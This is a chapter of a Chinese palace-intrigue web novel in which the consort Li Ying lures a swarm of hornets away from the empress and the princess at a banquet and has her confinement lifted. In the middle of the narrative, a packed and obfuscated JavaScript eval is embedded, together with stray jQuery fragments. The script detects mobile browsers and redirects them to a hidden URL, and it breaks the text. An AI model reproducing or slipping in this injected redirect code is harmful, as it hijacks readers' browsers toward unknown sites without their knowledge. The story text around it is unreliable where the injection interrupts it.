37. 坤宁宫出事了
作品:《清冷权臣为妖妃折节》 坤宁宫。
殿内穹顶的掐丝鎏金凤凰蹁跹欲飞,支摘窗外梧桐萌蘖新芽,生机盎然。
案几上耳杯华光流转,李瀛正盯着那抹光出神,指尖无意识摩挲,触感滑腻,似乎还残存着未抹开的粉末。
能入皇后殿中赴宴的,无一不是士族贵妇、门阀千金,此时端坐在茵席上,你一言她一语,笑容满面地吹捧着皇后。
那些笑语清晰地传到李瀛耳中,她没有在意,慢悠悠地品味着杯中的银耳药粥。
咸甜适中,好喝!
比方才御膳房送来的不知好喝多少,如果可以,她真想把皇后宫中的御厨一起打包带走。
这厢,混迹镐京权贵中的贵妇慢慢咂摸出不对味来,皇后面容和熙,对谁都是一副慈悲关怀的观音面,任她们如何讨好,只不过微微展颜,轻轻一笑。
这样下去可怎么行!
下个月便是官考了,刑部秋官是出了名的油盐不进,八面玲珑,平日对谁都是春风拂面,真要送起来礼,求他行个便宜,那可是个顶个的无情。
眼下是他任考功司主考官,只能从皇后娘娘这里下手,只盼娘娘一个高兴,随意对兄长说句好话,她们也就不用愁家里男人的仕途了。
可是,皇后娘娘分明如此年轻,怎么也这么难琢磨。
不知不觉,有人将目光投向了李瀛:“李妃娘娘,元启十五年的磷火好看么?”
说这话的是兰台阁老陈汶的夫人,她自恃清流人家,加上记恨着之前的事情,最是看不惯长相昳丽的妖妃。
李瀛慢慢享用着山药粥,不曾抬眸看她一眼。
陈夫人讨了个没趣,转头对皇后道:“皇后娘娘,满京里都是清白守贞的好娘子,坤宁殿里却坐了一个装聋作哑的狐狸,您瞧瞧——”
陈夫人话音戛然而止,高居首位的皇后不轻不重地搁下茶盏,浮沫荡起,直让陈夫人的心也颤了颤。
她讪讪一笑,闭口不言。
……谢花明竟然帮她出头?
李瀛不由想到自己原不该在此,是谢花明派人来请,她才能无视禁足,来到坤宁宫赴宴。
至于谢花明为什么这么做,李瀛没有细究。
她从不去探寻旁人是如何看待自己的,只要自个儿高兴便足够了。
眼下的情形是宫闱里最尊贵的女人愿意让着她,明面上过得去,不像之前那般处处要她性命,离宫前这段时间可以安心睡觉了。
抱着这样的想法,李瀛喝完了一整杯的山药粥,甜滋滋的,很香。
过不多时,保母抱着小公主从东侧间出来,放在皇后身侧,垫了数个香枕在圈椅上。
见到小公主,仕宦贵妇一叠声地称赞,小公主听到了,也便笑起来,两腮粉红,宛如瓷雕的娃娃。
久不见小公主,李瀛放下碗筷,隔着帘栊,好奇地望去。
殿中有许多人,小公主睁着黑珍珠似的眼珠,唯独与她对视。
两人大眼瞪小眼了一会儿,忽而听见嗡嗡声,似是蠹虫振翅,纱窗上蒙着的珍珠棉微微翕动。
侍立在四面的宫女手疾眼快地阖上窗棂,霎那间,坤宁宫所有的支摘窗上下闭合,帘栊玉藻也全部落了下来,架不住一团黑压压的影子从缝隙处钻了进来。
身形细长,尾带弯钩,是带毒的胡蜂!
兰娘忙不迭地脱下青色外衣,罩住皇后,一声疾呼,数个一等宫女以身挡在皇后。
旁边保母有样学样,也褪下外裳,裹住小公主,弓身紧紧地将小公主抱在怀里,宫女团团围拢上来,遮得密不透风,一行人护着急急往东侧间去了。
再看席中端坐的士族娘子,无不神色慌乱,有的已经猫下身,缩在案几下,有的还在强装镇定,照旧稳坐在锦杌上,或是举袖遮面,或是手执扇子掩面。
由宫女组成的屏障后传出皇后的声音:“让粘杆处的小黄门带着网罩进来捕蜂,另外派人去库房取些驱虫香料来!”疾声说完吩咐,她温声安抚众人:“诸位夫人不必惊慌,稍安勿躁,切莫乱动,这胡蜂一会儿就走了。”
出身门阀的娘子们稳如泰山,一壁看着小黄门捕蜂,一壁低声附和皇后,赞叹皇后处事不惊。
数十个小黄门手举网兜,试图捕捉胡蜂,又有十来个内侍举着粘杆,在半空中挥舞。
胡蜂的嗡鸣夹杂着竹竿轻微的碰撞声,一切显得乱而有序。
不知怎的,蜂群竟然追入了西侧间,小黄门举着粘杆和网罩面面相觑,不知该不该进入皇后寝殿。
想到西侧间的小公主,一直作壁上观的李瀛缓缓起身,拿起案上增味用的蜜水——她觉得山药粥味道正好,无需加蜜水,是以一点没用。
那蜜水上围拢着的胡蜂退避开来,似乎在忌惮什么。
她一手拿着盛着蜜水的瓷碟,一手举起琉璃灯,简单粗暴地剥去灯罩,直直将蜜水倒头浇在芯子上,最顶端的火苗晃动一瞬,继续燃烧。
随着烛心融化,上面的蜜水滋滋冒泡,淌着一层金黄,香气浓烈。
前往西侧间的胡蜂倏忽掉头,化作一团黑云,密密地罩在蜡烛上。
那蜡烛,就在李瀛软白的手心上。
那泓薄薄的金色覆盖她的指尖,指腹,指根,从指缝流下来,滴落在地衣上。
李瀛就这样举着蜡烛,引着胡蜂,快步走了出去。
她裙四角缀的银铃叮当响动,纨素弓鞋若隐若现。
身后,一众贵女目瞪口呆,举起的袖子垂落,用来掩面的扇子啪嗒掉在地上。
这还是恶名远扬的妖妃么?!
看她胆识智谋,似乎,似乎……远胜她们。
屈身躲在案几后的陈夫人在宫人搀扶下爬将起来,难以置信地盯着那道清癯身影。
坐在皇后下首的韦岚命宫人放下雉尾扇,饶有兴致地凝睇着妖妃。
重重织锦帘栊后,透着宫女肩头起伏的罅隙,皇后露出小半边面庞,无声地将一切收之眼底。
有宫人从东侧间内出来,告知她小公主一切无虞。
她第一反应是感激,在心底感激李瀛引走了胡蜂。第二反应是微不可察的恼火,明明粘杆处就要解决胡蜂了。李瀛,何必在这个关头掐尖抢风头呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115743|160833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
最终,感激压过了那一丝丝恼火,皇后柔声招呼兰娘亲自奉上盥洗的铜盆,供李瀛净手。
一众贵女数双眼睛瞧着,看不出李瀛身上有何异状,原来那胡蜂不蜇人!她们顿时悔恨自己怎么没抓住这个机会。
李瀛慢慢剔去手上的蜡泪,仔细净了手,手心仍是点点韫色,像梅花烙在白皙肌肤上,很是显眼。
她洗了两遍,洗不掉,也就不管了。
所幸来时青俪说惊蛰时节蚊虫最多,该小心些,免得被咬到起了大包,出门前特意给她涂了些驱虫的香料,这才没被胡蜂蜇到。
青俪最细心体贴,回去得好好夸夸她。
李瀛兀自出神,并没留意周遭人的反应。
皇后先是柔声夸了李瀛几句,从库房里拨了一批通宝赏给玉芙殿上下,又道:“李妃的禁足就免了罢,从此以后自由行走宫中,本宫倒要看看谁有二话。”
李瀛立时跪下谢恩,顺带夸了皇后,直夸得皇后微微一哂,敷着薄粉的面颊浮现丹霞,贵女们看得发愣,险些被妖妃的厚颜惊到。
皇后陡然正色:“胡蜂来得蹊跷,让粘杆处的掌事以及筹办筵席的四司六局给本宫一个解释,办事不利者,一律按宫规处置。”说罢,她收敛肃容,温声道:“诸位夫人,让你们见笑了。”
诸位贵女纷纷表态,谀词连连。
李瀛静静听着,目光微侧,对上了一道盯着她许久的视线。
不同于初见那天穿着秀女统一的服色,韦岚今日穿着赭色八破圆领襦裙,月白罗衫上金叶绣重重掩映,蹙金线翩跹起伏,红绿相合,极尽张扬。
似是注意到李瀛的目光,韦岚缓缓勾唇,轻轻一笑,檀口开合,无声地说了一句什么。
二人相距不远,李瀛看得真切,她说的是——我要给你下注。
朝堂之中,最不缺的就是党派之争,天子后宫亦是如此,韦岚要站队李瀛,要助她成为宫闱角逐中最后的赢家。
如果她打的是这个主意,那她们没什么好说的。
李瀛收回视线,不再看韦岚,低垂眼睫,一副兴致缺缺的样子。
就在方才,那泓滚烫的金色在手中流动,冷却,凝结之时。
她想起了去养心殿找皇帝那天,自谢雪明纨素袋中掉出来那簇流苏……到底是什么?
总不可能,是她不见那只金雀钿。
不可能。
李瀛神思游离,又想起自己将官考讯息提前知会李家,换得风波平定。李家父子必定有所动作,以应对官考。
那么,谢雪明知道么?
……
章华台。
“郎君,不出您所料,李纶以重金利诱了三位出身陈郡的寒士,眼下,三位士子已将钱财地契送来了。”
谢雪明百无聊赖地坐在席中,倾听着武殊的低语。
冰清水冷的面容带着漫不经心的笑,似乎并不在意。
俄顷,他微一变色。
“就在方才,坤宁宫出事了。”
“皇后娘娘和小主子无恙,倒是李妃娘娘……”